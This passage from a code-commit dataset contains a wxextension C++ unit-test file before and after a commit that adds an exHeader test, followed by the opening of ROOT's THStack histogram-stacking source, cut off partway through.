{"text":"<commit_before>\/******************************************************************************\\\n* File:          test.cpp\n* Purpose:       Implementation for wxextension cpp unit testing\n* Author:        Anton van Wezenbeek\n* RCS-ID:        $Id: test.cpp 450 2009-03-11 20:02:41Z antonvw $\n* Created:       za 17 jan 2009 11:51:20 CET\n*\n* Copyright (c) 2009 Anton van Wezenbeek\n* All rights are reserved. Reproduction in whole or part is prohibited\n* without the written consent of the copyright owner.\n\\******************************************************************************\/\n\n#include <TestCaller.h>\n#include \"test.h\"\n\nvoid exTestFixture::setUp()\n{\n  m_Config = new exConfig(\"test.cfg\", wxCONFIG_USE_LOCAL_FILE);\n  m_File = new exFile(\"test.h\");\n  m_FileName = new exFileName(\"test.h\");\n  m_FileNameStatistics = new exFileNameStatistics(\"test.h\");\n  m_Lexer = new exLexer();\n  m_Lexers = new exLexers(exFileName(\"..\/..\/data\/lexers.xml\"));\n  m_RCS = new exRCS();\n  m_Stat = new exStat(\"test.h\");\n  m_Statistics = new exStatistics<long>();\n  m_TextFile = new exTextFile(exFileName(\"test.h\"), m_Config, m_Lexers);\n  m_Tool = new exTool(ID_TOOL_REPORT_COUNT);\n}\n\nvoid exTestFixture::testConstructors()\n{\n  CPPUNIT_ASSERT(m_File != NULL);\n}\n\nvoid exTestFixture::testMethods()\n{\n  \/\/ test exConfig\n  CPPUNIT_ASSERT(m_Config->Get(\"keystring\", \"val\") == \"val\");\n  CPPUNIT_ASSERT(m_Config->Get(\"keylong\", 12) == 12);\n  CPPUNIT_ASSERT(m_Config->GetBool(\"keybool\", true));\n  CPPUNIT_ASSERT(m_Config->GetFindReplaceData() != NULL);\n  m_Config->Set(\"keystring\", \"val2\");\n  CPPUNIT_ASSERT(m_Config->Get(\"keystring\", \"val\") == \"val2\");\n  m_Config->Set(\"keylong\", 15);\n  CPPUNIT_ASSERT(m_Config->Get(\"keylong\", 7) == 15);\n  m_Config->SetBool(\"keybool\", false);\n  CPPUNIT_ASSERT(m_Config->GetBool(\"keybool\", true) == false);\n  m_Config->Toggle(\"keybool\");\n  CPPUNIT_ASSERT(m_Config->GetBool(\"keybool\", false));\n\n  \/\/ test exFile\n  CPPUNIT_ASSERT(m_File->GetStat().IsOk());\n  CPPUNIT_ASSERT(m_File->GetStat().GetFullPath() == m_File->GetFileName().GetFullPath());\n  \/\/ The fullpath should be normalized, test it.\n  CPPUNIT_ASSERT(m_File->GetFileName().GetFullPath() != \"test.h\");\n  CPPUNIT_ASSERT(!m_File->GetStat().IsReadOnly());\n  CPPUNIT_ASSERT(!m_File->CheckSyncNeeded());\n  CPPUNIT_ASSERT(!m_File->GetStat().IsReadOnly());\n  CPPUNIT_ASSERT(m_File->FileOpen(exFileName(\"test.bin\")));\n  wxString* buffer = m_File->Read();\n  CPPUNIT_ASSERT(buffer != NULL);\n  CPPUNIT_ASSERT(buffer->size() == 40);\n  delete buffer;\n\n  \/\/ test exFileName\n  CPPUNIT_ASSERT(m_FileName->GetLexer().GetScintillaLexer().empty());\n  CPPUNIT_ASSERT(m_FileName->GetStat().IsOk());\n  m_FileName->Assign(\"xxx\");\n  m_FileName->GetStat().Update(\"xxx\");\n  CPPUNIT_ASSERT(!m_FileName->GetStat().IsOk());\n\n  \/\/ test exFileNameStatistics\n  CPPUNIT_ASSERT(m_FileNameStatistics->Get().empty());\n  CPPUNIT_ASSERT(m_FileNameStatistics->Get(\"xx\") == 0);\n\n  \/\/ test exLexer\n  *m_Lexer = m_Lexers->FindByText(\"\/\/ this is a cpp comment text\");\n  CPPUNIT_ASSERT(m_Lexer->GetScintillaLexer().empty()); \/\/ we have no lexers\n  m_Lexer->SetKeywords(\"test11 test21:1 test31:1 test12:2 test22:2\");\n  CPPUNIT_ASSERT(m_Lexer->IsKeyword(\"test11\"));\n  CPPUNIT_ASSERT(m_Lexer->IsKeyword(\"test21\"));\n  CPPUNIT_ASSERT(m_Lexer->IsKeyword(\"test12\"));\n  CPPUNIT_ASSERT(m_Lexer->IsKeyword(\"test22\"));\n  CPPUNIT_ASSERT(m_Lexer->KeywordStartsWith(\"te\"));\n  CPPUNIT_ASSERT(!m_Lexer->KeywordStartsWith(\"xx\"));\n  CPPUNIT_ASSERT(!m_Lexer->GetKeywords().empty());\n  CPPUNIT_ASSERT(!m_Lexer->GetKeywordsSet().empty());\n\n  \/\/ test exLexers\n  CPPUNIT_ASSERT(m_Lexers->Read());\n  *m_Lexer = m_Lexers->FindByText(\"\/\/ this is a cpp comment text\");\n  CPPUNIT_ASSERT(m_Lexer->GetScintillaLexer() == \"cpp\");\n  CPPUNIT_ASSERT(m_Lexers->FindByFileName(wxFileName(\"test.h\")).GetScintillaLexer() == \"cpp\");\n  CPPUNIT_ASSERT(m_Lexers->FindByName(\"cpp\").GetScintillaLexer() == \"cpp\");\n  CPPUNIT_ASSERT(m_Lexers->Count() > 0);\n  CPPUNIT_ASSERT(!m_Lexers->BuildWildCards(wxFileName(\"test.h\")).empty());\n  CPPUNIT_ASSERT(!m_Lexers->GetIndicators().empty());\n  CPPUNIT_ASSERT(!m_Lexers->GetMarkers().empty());\n  CPPUNIT_ASSERT(!m_Lexers->GetStyles().empty());\n  CPPUNIT_ASSERT(!m_Lexers->GetStylesHex().empty());\n  CPPUNIT_ASSERT(!m_Lexer->GetAssociations().empty());\n  CPPUNIT_ASSERT(!m_Lexer->GetColourings().empty());\n  CPPUNIT_ASSERT(!m_Lexer->GetCommentBegin().empty());\n  CPPUNIT_ASSERT(!m_Lexer->GetCommentBegin2().empty());\n  CPPUNIT_ASSERT(!m_Lexer->GetCommentEnd().empty());\n  CPPUNIT_ASSERT(!m_Lexer->GetCommentEnd2().empty());\n  CPPUNIT_ASSERT(!m_Lexer->GetKeywords().empty());\n  CPPUNIT_ASSERT(!m_Lexer->GetKeywordsSet().empty());\n  CPPUNIT_ASSERT(!m_Lexer->GetKeywordsString().empty());\n  CPPUNIT_ASSERT(!m_Lexer->GetProperties().empty());\n  CPPUNIT_ASSERT(m_Lexer->IsKeyword(\"class\"));\n  CPPUNIT_ASSERT(m_Lexer->IsKeyword(\"const\"));\n  CPPUNIT_ASSERT(m_Lexer->KeywordStartsWith(\"cla\"));\n  CPPUNIT_ASSERT(!m_Lexer->KeywordStartsWith(\"xxx\"));\n  CPPUNIT_ASSERT(!m_Lexer->MakeComment(\"test\", true).empty());\n  CPPUNIT_ASSERT(m_Lexer->UsableCharactersPerLine() == 74); \/\/ 80 - 4 (comments) - 2 (spaces)\n\n  \/\/ test exRCS\n  CPPUNIT_ASSERT(m_RCS->GetAuthor().empty());\n  CPPUNIT_ASSERT(m_RCS->GetDescription().empty());\n  CPPUNIT_ASSERT(m_RCS->GetUser().empty());\n\n  \/\/ test exStat\n  CPPUNIT_ASSERT(!m_Stat->IsLink());\n  CPPUNIT_ASSERT(m_Stat->IsOk());\n  CPPUNIT_ASSERT(!m_Stat->IsReadOnly());\n  CPPUNIT_ASSERT(m_Stat->Update(\"testlink\"));\n\/\/  CPPUNIT_ASSERT(m_Stat->IsLink());\n\n  \/\/ test exStatistics\n  m_Statistics->Inc(\"test\");\n  CPPUNIT_ASSERT(m_Statistics->Get(\"test\") == 1);\n  m_Statistics->Inc(\"test\");\n  CPPUNIT_ASSERT(m_Statistics->Get(\"test\") == 2);\n  m_Statistics->Set(\"test\", 13);\n  CPPUNIT_ASSERT(m_Statistics->Get(\"test\") == 13);\n  m_Statistics->Dec(\"test\");\n  CPPUNIT_ASSERT(m_Statistics->Get(\"test\") == 12);\n  m_Statistics->Inc(\"test2\");\n  CPPUNIT_ASSERT(m_Statistics->Get(\"test2\") == 1);\n  m_Statistics->Clear();\n  CPPUNIT_ASSERT(m_Statistics->GetItems().empty());\n\n  \/\/ test exTextFile\n  CPPUNIT_ASSERT(m_TextFile->RunTool(ID_TOOL_REPORT_COUNT));\n  CPPUNIT_ASSERT(!m_TextFile->GetStatistics().GetElements().GetItems().empty());\n  CPPUNIT_ASSERT(!m_TextFile->IsOpened()); \/\/ file should be closed after running tool\n\n  CPPUNIT_ASSERT(m_TextFile->RunTool(ID_TOOL_REPORT_COUNT)); \/\/ do the same test\n  CPPUNIT_ASSERT(!m_TextFile->GetStatistics().GetElements().GetItems().empty());\n  CPPUNIT_ASSERT(!m_TextFile->IsOpened()); \/\/ file should be closed after running tool\n\n  CPPUNIT_ASSERT(m_TextFile->RunTool(ID_TOOL_REPORT_HEADER));\n  CPPUNIT_ASSERT(m_TextFile->GetTool().GetId() == ID_TOOL_REPORT_HEADER);\n\/\/wxLogMessage(m_TextFile->GetStatistics().Get() + m_TextFile->GetRCS().GetDescription());\n\/\/  CPPUNIT_ASSERT(m_TextFile->GetRCS().GetDescription() ==\n\/\/    \"Declaration of classes for wxextension cpp unit testing\");\n\n  CPPUNIT_ASSERT(m_TextFile->RunTool(ID_TOOL_REPORT_KEYWORD));\n\/\/  CPPUNIT_ASSERT(!m_TextFile->GetStatistics().GetKeywords().GetItems().empty());\n\n  \/\/ test exTool\n  CPPUNIT_ASSERT(m_Tool->IsStatisticsType() > 0);\n}\n\nvoid exTestFixture::testTiming()\n{\n  exFile file(\"test.h\");\n\n  CPPUNIT_ASSERT(file.IsOpened());\n\n  wxStopWatch sw;\n\n  const int max = 10000;\n\n  for (int i = 0; i < max; i++)\n  {\n    wxString* buffer = file.Read();\n    CPPUNIT_ASSERT(buffer != NULL);\n    delete buffer;\n  }\n\n  const long exfile_read = sw.Time();\n\n  sw.Start();\n\n  wxFile wxfile(\"test.h\");\n\n  for (int j = 0; j < max; j++)\n  {\n    char* charbuffer = new char[wxfile.Length()];\n    wxfile.Read(charbuffer, wxfile.Length());\n    wxString* buffer = new wxString(charbuffer, wxfile.Length());\n    delete charbuffer;\n    delete buffer;\n  }\n\n  const long file_read = sw.Time();\n\n  printf(\n    \"exFile::Read:%ld wxFile::Read:%ld\\n\",\n    exfile_read,\n    file_read);\n}\n\nvoid exTestFixture::testTimingAttrib()\n{\n  const int max = 1000;\n\n  wxStopWatch sw;\n\n  const exFileName exfile(\"test.h\");\n\n  int checked = 0;\n\n  for (int i = 0; i < max; i++)\n  {\n    checked += exfile.GetStat().IsReadOnly();\n  }\n\n  const long exfile_time = sw.Time();\n\n  sw.Start();\n\n  const wxFileName file(\"test.h\");\n\n  for (int j = 0; j < max; j++)\n  {\n    checked += file.IsFileWritable();\n  }\n\n  const long file_time = sw.Time();\n\n  printf(\n    \"exFileName::IsReadOnly:%ld wxFileName::IsFileWritable:%ld\\n\",\n    exfile_time,\n    file_time);\n}\n\nvoid exTestFixture::testTimingConfig()\n{\n  const int max = 100000;\n\n  wxStopWatch sw;\n\n  for (int i = 0; i < max; i++)\n  {\n    m_Config->Get(\"test\", 0);\n  }\n\n  const long exconfig = sw.Time();\n\n  sw.Start();\n\n  for (int j = 0; j < max; j++)\n  {\n    m_Config->Read(\"test\", 0l);\n  }\n\n  const long config = sw.Time();\n\n  printf(\n    \"exConfig::Get:%ld wxConfig::Read:%ld\\n\",\n    exconfig,\n    config);\n}\n\nvoid exTestFixture::tearDown()\n{\n}\n\nexTestSuite::exTestSuite()\n  : CppUnit::TestSuite(\"wxextension test suite\")\n{\n  \/\/ Add the tests.\n  addTest(new CppUnit::TestCaller<exTestFixture>(\n    \"testConstructors\",\n    &exTestFixture::testConstructors));\n\n  addTest(new CppUnit::TestCaller<exTestFixture>(\n    \"testMethods\",\n    &exTestFixture::testMethods));\n\n  addTest(new CppUnit::TestCaller<exTestFixture>(\n    \"testTiming\",\n    &exTestFixture::testTiming));\n\n  addTest(new CppUnit::TestCaller<exTestFixture>(\n    \"testTimingAttrib\",\n    &exTestFixture::testTimingAttrib));\n\n  addTest(new CppUnit::TestCaller<exTestFixture>(\n    \"testTimingConfig\",\n    &exTestFixture::testTimingConfig));\n}\n<commit_msg>add test for new exHeader<commit_after>\/******************************************************************************\\\n* File:          test.cpp\n* Purpose:       Implementation for wxextension cpp unit testing\n* Author:        Anton van Wezenbeek\n* RCS-ID:        $Id: test.cpp 450 2009-03-11 20:02:41Z antonvw $\n* Created:       za 17 jan 2009 11:51:20 CET\n*\n* Copyright (c) 2009 Anton van Wezenbeek\n* All rights are reserved. Reproduction in whole or part is prohibited\n* without the written consent of the copyright owner.\n\\******************************************************************************\/\n\n#include <TestCaller.h>\n#include \"test.h\"\n\nvoid exTestFixture::setUp()\n{\n  m_Config = new exConfig(\"test.cfg\", wxCONFIG_USE_LOCAL_FILE);\n  m_File = new exFile(\"test.h\");\n  m_FileName = new exFileName(\"test.h\");\n  m_FileNameStatistics = new exFileNameStatistics(\"test.h\");\n  m_Lexer = new exLexer();\n  m_Lexers = new exLexers(exFileName(\"..\/..\/data\/lexers.xml\"));\n  m_RCS = new exRCS();\n  m_Stat = new exStat(\"test.h\");\n  m_Statistics = new exStatistics<long>();\n  m_TextFile = new exTextFile(exFileName(\"test.h\"), m_Config, m_Lexers);\n  m_Tool = new exTool(ID_TOOL_REPORT_COUNT);\n}\n\nvoid exTestFixture::testConstructors()\n{\n  CPPUNIT_ASSERT(m_File != NULL);\n}\n\nvoid exTestFixture::testMethods()\n{\n  \/\/ test exConfig\n  CPPUNIT_ASSERT(m_Config->Get(\"keystring\", \"val\") == \"val\");\n  CPPUNIT_ASSERT(m_Config->Get(\"keylong\", 12) == 12);\n  CPPUNIT_ASSERT(m_Config->GetBool(\"keybool\", true));\n  CPPUNIT_ASSERT(m_Config->GetFindReplaceData() != NULL);\n  m_Config->Set(\"keystring\", \"val2\");\n  CPPUNIT_ASSERT(m_Config->Get(\"keystring\", \"val\") == \"val2\");\n  m_Config->Set(\"keylong\", 15);\n  CPPUNIT_ASSERT(m_Config->Get(\"keylong\", 7) == 15);\n  m_Config->SetBool(\"keybool\", false);\n  CPPUNIT_ASSERT(m_Config->GetBool(\"keybool\", true) == false);\n  m_Config->Toggle(\"keybool\");\n  CPPUNIT_ASSERT(m_Config->GetBool(\"keybool\", false));\n\n  \/\/ test exFile\n  CPPUNIT_ASSERT(m_File->GetStat().IsOk());\n  CPPUNIT_ASSERT(m_File->GetStat().GetFullPath() == m_File->GetFileName().GetFullPath());\n  \/\/ The fullpath should be normalized, test it.\n  CPPUNIT_ASSERT(m_File->GetFileName().GetFullPath() != \"test.h\");\n  CPPUNIT_ASSERT(!m_File->GetStat().IsReadOnly());\n  CPPUNIT_ASSERT(!m_File->CheckSyncNeeded());\n  CPPUNIT_ASSERT(!m_File->GetStat().IsReadOnly());\n  CPPUNIT_ASSERT(m_File->FileOpen(exFileName(\"test.bin\")));\n  wxString* buffer = m_File->Read();\n  CPPUNIT_ASSERT(buffer != NULL);\n  CPPUNIT_ASSERT(buffer->size() == 40);\n  delete buffer;\n\n  \/\/ test exFileName\n  CPPUNIT_ASSERT(m_FileName->GetLexer().GetScintillaLexer().empty());\n  CPPUNIT_ASSERT(m_FileName->GetStat().IsOk());\n  m_FileName->Assign(\"xxx\");\n  m_FileName->GetStat().Update(\"xxx\");\n  CPPUNIT_ASSERT(!m_FileName->GetStat().IsOk());\n\n  \/\/ test exFileNameStatistics\n  CPPUNIT_ASSERT(m_FileNameStatistics->Get().empty());\n  CPPUNIT_ASSERT(m_FileNameStatistics->Get(\"xx\") == 0);\n\n  \/\/ test exLexer\n  *m_Lexer = m_Lexers->FindByText(\"\/\/ this is a cpp comment text\");\n  CPPUNIT_ASSERT(m_Lexer->GetScintillaLexer().empty()); \/\/ we have no lexers\n  m_Lexer->SetKeywords(\"test11 test21:1 test31:1 test12:2 test22:2\");\n  CPPUNIT_ASSERT(m_Lexer->IsKeyword(\"test11\"));\n  CPPUNIT_ASSERT(m_Lexer->IsKeyword(\"test21\"));\n  CPPUNIT_ASSERT(m_Lexer->IsKeyword(\"test12\"));\n  CPPUNIT_ASSERT(m_Lexer->IsKeyword(\"test22\"));\n  CPPUNIT_ASSERT(m_Lexer->KeywordStartsWith(\"te\"));\n  CPPUNIT_ASSERT(!m_Lexer->KeywordStartsWith(\"xx\"));\n  CPPUNIT_ASSERT(!m_Lexer->GetKeywords().empty());\n  CPPUNIT_ASSERT(!m_Lexer->GetKeywordsSet().empty());\n\n  \/\/ test exLexers\n  CPPUNIT_ASSERT(m_Lexers->Read());\n  *m_Lexer = m_Lexers->FindByText(\"\/\/ this is a cpp comment text\");\n  CPPUNIT_ASSERT(m_Lexer->GetScintillaLexer() == \"cpp\");\n  CPPUNIT_ASSERT(m_Lexers->FindByFileName(wxFileName(\"test.h\")).GetScintillaLexer() == \"cpp\");\n  CPPUNIT_ASSERT(m_Lexers->FindByName(\"cpp\").GetScintillaLexer() == \"cpp\");\n  CPPUNIT_ASSERT(m_Lexers->Count() > 0);\n  CPPUNIT_ASSERT(!m_Lexers->BuildWildCards(wxFileName(\"test.h\")).empty());\n  CPPUNIT_ASSERT(!m_Lexers->GetIndicators().empty());\n  CPPUNIT_ASSERT(!m_Lexers->GetMarkers().empty());\n  CPPUNIT_ASSERT(!m_Lexers->GetStyles().empty());\n  CPPUNIT_ASSERT(!m_Lexers->GetStylesHex().empty());\n  CPPUNIT_ASSERT(!m_Lexer->GetAssociations().empty());\n  CPPUNIT_ASSERT(!m_Lexer->GetColourings().empty());\n  CPPUNIT_ASSERT(!m_Lexer->GetCommentBegin().empty());\n  CPPUNIT_ASSERT(!m_Lexer->GetCommentBegin2().empty());\n  CPPUNIT_ASSERT(!m_Lexer->GetCommentEnd().empty());\n  CPPUNIT_ASSERT(!m_Lexer->GetCommentEnd2().empty());\n  CPPUNIT_ASSERT(!m_Lexer->GetKeywords().empty());\n  CPPUNIT_ASSERT(!m_Lexer->GetKeywordsSet().empty());\n  CPPUNIT_ASSERT(!m_Lexer->GetKeywordsString().empty());\n  CPPUNIT_ASSERT(!m_Lexer->GetProperties().empty());\n  CPPUNIT_ASSERT(m_Lexer->IsKeyword(\"class\"));\n  CPPUNIT_ASSERT(m_Lexer->IsKeyword(\"const\"));\n  CPPUNIT_ASSERT(m_Lexer->KeywordStartsWith(\"cla\"));\n  CPPUNIT_ASSERT(!m_Lexer->KeywordStartsWith(\"xxx\"));\n  CPPUNIT_ASSERT(!m_Lexer->MakeComment(\"test\", true).empty());\n  CPPUNIT_ASSERT(m_Lexer->UsableCharactersPerLine() == 74); \/\/ 80 - 4 (comments) - 2 (spaces)\n\n  \/\/ test exRCS\n  CPPUNIT_ASSERT(m_RCS->GetAuthor().empty());\n  CPPUNIT_ASSERT(m_RCS->GetDescription().empty());\n  CPPUNIT_ASSERT(m_RCS->GetUser().empty());\n\n  \/\/ test exStat\n  CPPUNIT_ASSERT(!m_Stat->IsLink());\n  CPPUNIT_ASSERT(m_Stat->IsOk());\n  CPPUNIT_ASSERT(!m_Stat->IsReadOnly());\n  CPPUNIT_ASSERT(m_Stat->Update(\"testlink\"));\n\/\/  CPPUNIT_ASSERT(m_Stat->IsLink());\n\n  \/\/ test exStatistics\n  m_Statistics->Inc(\"test\");\n  CPPUNIT_ASSERT(m_Statistics->Get(\"test\") == 1);\n  m_Statistics->Inc(\"test\");\n  CPPUNIT_ASSERT(m_Statistics->Get(\"test\") == 2);\n  m_Statistics->Set(\"test\", 13);\n  CPPUNIT_ASSERT(m_Statistics->Get(\"test\") == 13);\n  m_Statistics->Dec(\"test\");\n  CPPUNIT_ASSERT(m_Statistics->Get(\"test\") == 12);\n  m_Statistics->Inc(\"test2\");\n  CPPUNIT_ASSERT(m_Statistics->Get(\"test2\") == 1);\n  m_Statistics->Clear();\n  CPPUNIT_ASSERT(m_Statistics->GetItems().empty());\n\n  \/\/ test exTextFile\n  CPPUNIT_ASSERT(m_TextFile->RunTool(ID_TOOL_REPORT_COUNT));\n  CPPUNIT_ASSERT(!m_TextFile->GetStatistics().GetElements().GetItems().empty());\n  CPPUNIT_ASSERT(!m_TextFile->IsOpened()); \/\/ file should be closed after running tool\n\n  CPPUNIT_ASSERT(m_TextFile->RunTool(ID_TOOL_REPORT_COUNT)); \/\/ do the same test\n  CPPUNIT_ASSERT(!m_TextFile->GetStatistics().GetElements().GetItems().empty());\n  CPPUNIT_ASSERT(!m_TextFile->IsOpened()); \/\/ file should be closed after running tool\n\n  CPPUNIT_ASSERT(m_TextFile->RunTool(ID_TOOL_REPORT_KEYWORD));\n\/\/  CPPUNIT_ASSERT(!m_TextFile->GetStatistics().GetKeywords().GetItems().empty());\n\n  \/\/ test exTool\n  CPPUNIT_ASSERT(m_Tool->IsStatisticsType() > 0);\n\n  \/\/ test various exMethods\n  const wxString header = exHeader(m_TextFile->GetFileName(), m_Config, \"test\");\n  CPPUNIT_ASSERT(header.Contains(\"test\"));\n}\n\nvoid exTestFixture::testTiming()\n{\n  exFile file(\"test.h\");\n\n  CPPUNIT_ASSERT(file.IsOpened());\n\n  wxStopWatch sw;\n\n  const int max = 10000;\n\n  for (int i = 0; i < max; i++)\n  {\n    wxString* buffer = file.Read();\n    CPPUNIT_ASSERT(buffer != NULL);\n    delete buffer;\n  }\n\n  const long exfile_read = sw.Time();\n\n  sw.Start();\n\n  wxFile wxfile(\"test.h\");\n\n  for (int j = 0; j < max; j++)\n  {\n    char* charbuffer = new char[wxfile.Length()];\n    wxfile.Read(charbuffer, wxfile.Length());\n    wxString* buffer = new wxString(charbuffer, wxfile.Length());\n    delete charbuffer;\n    delete buffer;\n  }\n\n  const long file_read = sw.Time();\n\n  printf(\n    \"exFile::Read:%ld wxFile::Read:%ld\\n\",\n    exfile_read,\n    file_read);\n}\n\nvoid exTestFixture::testTimingAttrib()\n{\n  const int max = 1000;\n\n  wxStopWatch sw;\n\n  const exFileName exfile(\"test.h\");\n\n  int checked = 0;\n\n  for (int i = 0; i < max; i++)\n  {\n    checked += exfile.GetStat().IsReadOnly();\n  }\n\n  const long exfile_time = sw.Time();\n\n  sw.Start();\n\n  const wxFileName file(\"test.h\");\n\n  for (int j = 0; j < max; j++)\n  {\n    checked += file.IsFileWritable();\n  }\n\n  const long file_time = sw.Time();\n\n  printf(\n    \"exFileName::IsReadOnly:%ld wxFileName::IsFileWritable:%ld\\n\",\n    exfile_time,\n    file_time);\n}\n\nvoid exTestFixture::testTimingConfig()\n{\n  const int max = 100000;\n\n  wxStopWatch sw;\n\n  for (int i = 0; i < max; i++)\n  {\n    m_Config->Get(\"test\", 0);\n  }\n\n  const long exconfig = sw.Time();\n\n  sw.Start();\n\n  for (int j = 0; j < max; j++)\n  {\n    m_Config->Read(\"test\", 0l);\n  }\n\n  const long config = sw.Time();\n\n  printf(\n    \"exConfig::Get:%ld wxConfig::Read:%ld\\n\",\n    exconfig,\n    config);\n}\n\nvoid exTestFixture::tearDown()\n{\n}\n\nexTestSuite::exTestSuite()\n  : CppUnit::TestSuite(\"wxextension test suite\")\n{\n  \/\/ Add the tests.\n  addTest(new CppUnit::TestCaller<exTestFixture>(\n    \"testConstructors\",\n    &exTestFixture::testConstructors));\n\n  addTest(new CppUnit::TestCaller<exTestFixture>(\n    \"testMethods\",\n    &exTestFixture::testMethods));\n\n  addTest(new CppUnit::TestCaller<exTestFixture>(\n    \"testTiming\",\n    &exTestFixture::testTiming));\n\n  addTest(new CppUnit::TestCaller<exTestFixture>(\n    \"testTimingAttrib\",\n    &exTestFixture::testTimingAttrib));\n\n  addTest(new CppUnit::TestCaller<exTestFixture>(\n    \"testTimingConfig\",\n    &exTestFixture::testTimingConfig));\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Author: Rene Brun   12\/10\/2000\n\n\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#include \"TROOT.h\"\n#include \"THStack.h\"\n#include \"TVirtualPad.h\"\n#include \"TH2.h\"\n\n#include <fstream.h>\n\nClassImp(THStack)\n\n\/\/______________________________________________________________________________\n\/\/\n\/\/   A THStack is a collection of TH1 (or derived) objects\n\/\/   Use THStack::Add to add a new histogram to the list.\n\/\/   The THStack owns the objects in the list.\n\/\/   By default (if option \"nostack\" is not specified), histograms will be paint\n\/\/   stacked on top of each other.\n\/\/   Example;\n\/\/      THStack hs(\"hs\",\"test stacked histograms\");\n\/\/      TH1F *h1 = new TH1F(\"h1\",\"test hstack\",100,-4,4);\n\/\/      h1->FillRandom(\"gaus\",20000);\n\/\/      h1->SetFillColor(kRed);\n\/\/      hs.Add(h1);\n\/\/      TH1F *h2 = new TH1F(\"h2\",\"test hstack\",100,-4,4);\n\/\/      h2->FillRandom(\"gaus\",15000);\n\/\/      h2->SetFillColor(kBlue);\n\/\/      hs.Add(h2);\n\/\/      TH1F *h3 = new TH1F(\"h3\",\"test hstack\",100,-4,4);\n\/\/      h3->FillRandom(\"gaus\",10000);\n\/\/      h3->SetFillColor(kGreen);\n\/\/      hs.Add(h3);\n\/\/      TCanvas c1(\"c1\",\"stacked hists\",10,10,700,900);\n\/\/      c1.Divide(1,2);\n\/\/      c1.cd(1);\n\/\/      hs.Draw();\n\/\/      c1.cd(2);\n\/\/      hs->Draw(\"nostack\");\n\/\/\n\/\/  See a more complex example in $ROOTSYS\/tutorials\/hstack.C\n\/\/\n\/\/  Note that picking is supported for all drawing modes.\n\n\/\/______________________________________________________________________________\nTHStack::THStack(): TNamed()\n{\n\/\/ THStack default constructor\n\n   fHists     = 0;\n   fStack     = 0;\n   fHistogram = 0;\n   fMaximum   = -1111;\n   fMinimum   = -1111;\n}\n\n\/\/______________________________________________________________________________\nTHStack::THStack(const char *name, const char *title)\n       : TNamed(name,title)\n{\n\/\/ constructor with name and title\n   fHists     = 0;\n   fStack     = 0;\n   fHistogram = 0;\n   fMaximum   = -1111;\n   fMinimum   = -1111;\n}\n\n\/\/______________________________________________________________________________\nTHStack::~THStack()\n{\n\/\/ THStack destructor\n\n\n   if (!fHists) return;\n   fHists->Delete();\n   delete fHists;\n   fHists = 0;\n   if (fStack) {fStack->Delete(); delete fStack;}\n   delete fHistogram;\n   fHistogram = 0;\n}\n\n\/\/______________________________________________________________________________\nvoid THStack::Add(TH1 *h1)\n{\n   \/\/ add a new histogram to the list\n   \/\/ Only 1-d histograms currently supported.\n   \/\/ Note that all histograms in the list must have the same number\n   \/\/ of channels and the same X axis.\n   \n   if (!h1) return;\n   if (h1->GetDimension() > 2) {\n      Error(\"Add\",\"THStack supports only 1-d and 2-d histograms\");\n      return;\n   }\n   if (!fHists) fHists = new TObjArray();\n   fHists->Add(h1);\n}\n\n\/\/______________________________________________________________________________\nvoid THStack::Browse(TBrowser *)\n{\n    Draw();\n    gPad->Update();\n}\n\n\/\/______________________________________________________________________________\nvoid THStack::BuildStack()\n{\n\/\/  build sum of all histograms\n\/\/  Build a separate list fStack containing the running sum of all histograms\n\n   if (fStack) return;\n   Int_t nhists = fHists->GetEntriesFast();\n   fStack = new TObjArray(nhists);\n   Bool_t add = TH1::AddDirectoryStatus();\n   TH1::AddDirectory(kFALSE);\n   TH1 *h = (TH1*)fHists->At(0)->Clone();\n   fStack->Add(h);\n   for (Int_t i=1;i<nhists;i++) {\n      h = (TH1*)fHists->At(i)->Clone();\n      h->Add((TH1*)fStack->At(i-1));\n      fStack->AddAt(h,i);\n   }\n   TH1::AddDirectory(add);\n}\n\n\/\/______________________________________________________________________________\nInt_t THStack::DistancetoPrimitive(Int_t px, Int_t py)\n{\n\/\/ Compute distance from point px,py to each graph\n\/\/\n\n\/\/*-*- Are we on the axis?\n   const Int_t kMaxDiff = 10;\n   Int_t distance = 9999;\n   if (fHistogram) {\n      distance = fHistogram->DistancetoPrimitive(px,py);\n      if (distance <= 0) {return distance;}\n      if (distance <= 1) {gPad->SetSelected(fHistogram);return distance;}\n   }\n\n\n\/\/*-*- Loop on the list of histograms\n   if (!fHists) return distance;\n   TH1 *h = 0;\n   const char *doption = GetDrawOption();\n   Int_t nhists = fHists->GetEntriesFast();\n   for (Int_t i=0;i<nhists;i++) {\n      h = (TH1*)fHists->At(i);\n      if (fStack && !strstr(doption,\"nostack\")) h = (TH1*)fStack->At(i);\n      Int_t dist = h->DistancetoPrimitive(px,py);\n      if (dist < kMaxDiff) {\n         gPad->SetSelected(fHists->At(i)); \n         gPad->SetCursor(kPointer);\n         return dist;\n      }\n   }\n   return distance;\n}\n\n\/\/______________________________________________________________________________\nvoid THStack::Draw(Option_t *option)\n{\n\/\/*-*-*-*-*-*-*-*-*-*-*Draw this multihist with its current attributes*-*-*-*-*-*-*\n\/\/*-*                  ==========================================\n\/\/\n\/\/   Options to draw histograms  are described in THistPainter::Paint\n\/\/ By default (if option \"nostack\" is not specified), histograms will be paint\n\/\/ stacked on top of each other.\n   \n   TString opt = option;\n   opt.ToLower();\n   if (gPad) {\n      if (!gPad->IsEditable()) (gROOT->GetMakeDefCanvas())();\n      if (!opt.Contains(\"same\")) {\n         \/\/the following statement is necessary in case one attempts to draw\n         \/\/a temporary histogram already in the current pad\n         if (TestBit(kCanDelete)) gPad->GetListOfPrimitives()->Remove(this);\n         gPad->Clear();\n      }\n   }\n   AppendPad(opt.Data());\n}\n\n\/\/______________________________________________________________________________\nTH1 *THStack::GetHistogram() const\n{\n\/\/    Returns a pointer to the histogram used to draw the axis\n\/\/    Takes into account the two following cases.\n\/\/       1- option 'A' was specified in THStack::Draw. Return fHistogram\n\/\/       2- user had called TPad::DrawFrame. return pointer to hframe histogram\n\n   if (fHistogram) return fHistogram;\n   if (!gPad) return 0;\n   gPad->Modified();\n   gPad->Update();\n   if (fHistogram) return fHistogram;\n   TH1 *h1 = (TH1*)gPad->FindObject(\"hframe\");\n   return h1;\n}\n\n\/\/______________________________________________________________________________\nDouble_t THStack::GetMaximum(Option_t *option) \n{\n\/\/  returns the maximum of all added histograms\n\/\/  returns the maximum of all 